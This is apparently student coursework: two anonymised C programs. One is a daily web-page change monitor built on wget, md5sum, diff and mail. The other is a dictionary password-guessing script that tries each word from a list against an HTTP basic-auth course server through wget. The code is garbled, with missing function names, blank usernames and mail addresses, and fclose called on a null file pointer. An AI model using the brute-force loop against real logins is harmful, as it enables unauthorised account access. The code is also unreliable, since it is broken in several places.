#include<stdio.h>
#include<stdlib.h>
#include<ctype.h>


int  (int argc, char *argv[])
{
   FILE *fp;
     
   while(1)
   {       
      system("wget -p http://www.cs.rmit.edu./students");
      
      
      
      system("mkdir Images");
      
      if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
      { 
         system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
	 system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
	 fclose(fp);
	 exit(0);
      }
      else
      {          
         fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
	 system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
	 system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
	 fclose(fp);
      }
      
      
      
      system("mkdir Text");
      
      if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
      { 
         system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
	 exit(0);
      }
      else
      {          
      	 fopen("/home/s//SECAS02ANS/Text/index.html","r");
	 system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
	 fclose(fp);
      }     
       
      
      
      sleep(86400);
    }	 
    return (EXIT_SUCCESS);
}
     
	   
	  	




#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int t1, t2, t;           
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd="); 
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");    
  t1 = time();
  while(chk != NULL)    
  {
    chk = fgets(word, 15, fp); 
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0'; 
    strcat(url, word);
    strcat(url, url1);
    nofattempts = nofattempts + 1;   
    printf("\n %s %d\n",word,nofattempts);
    if (strlen(word) == 3) 
    syst = system(url);
    if (syst == 0)  
    {
       t2 = time();
       t = t2 - t1;
       timeinsec = t/1000000000;
       printf("\n !!! here's the passowrd:- %s",word);
       printf("\n Total .of atempts: %d\n",nofattempts);
       printf("\n The total time_var taken: %d seconds", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}
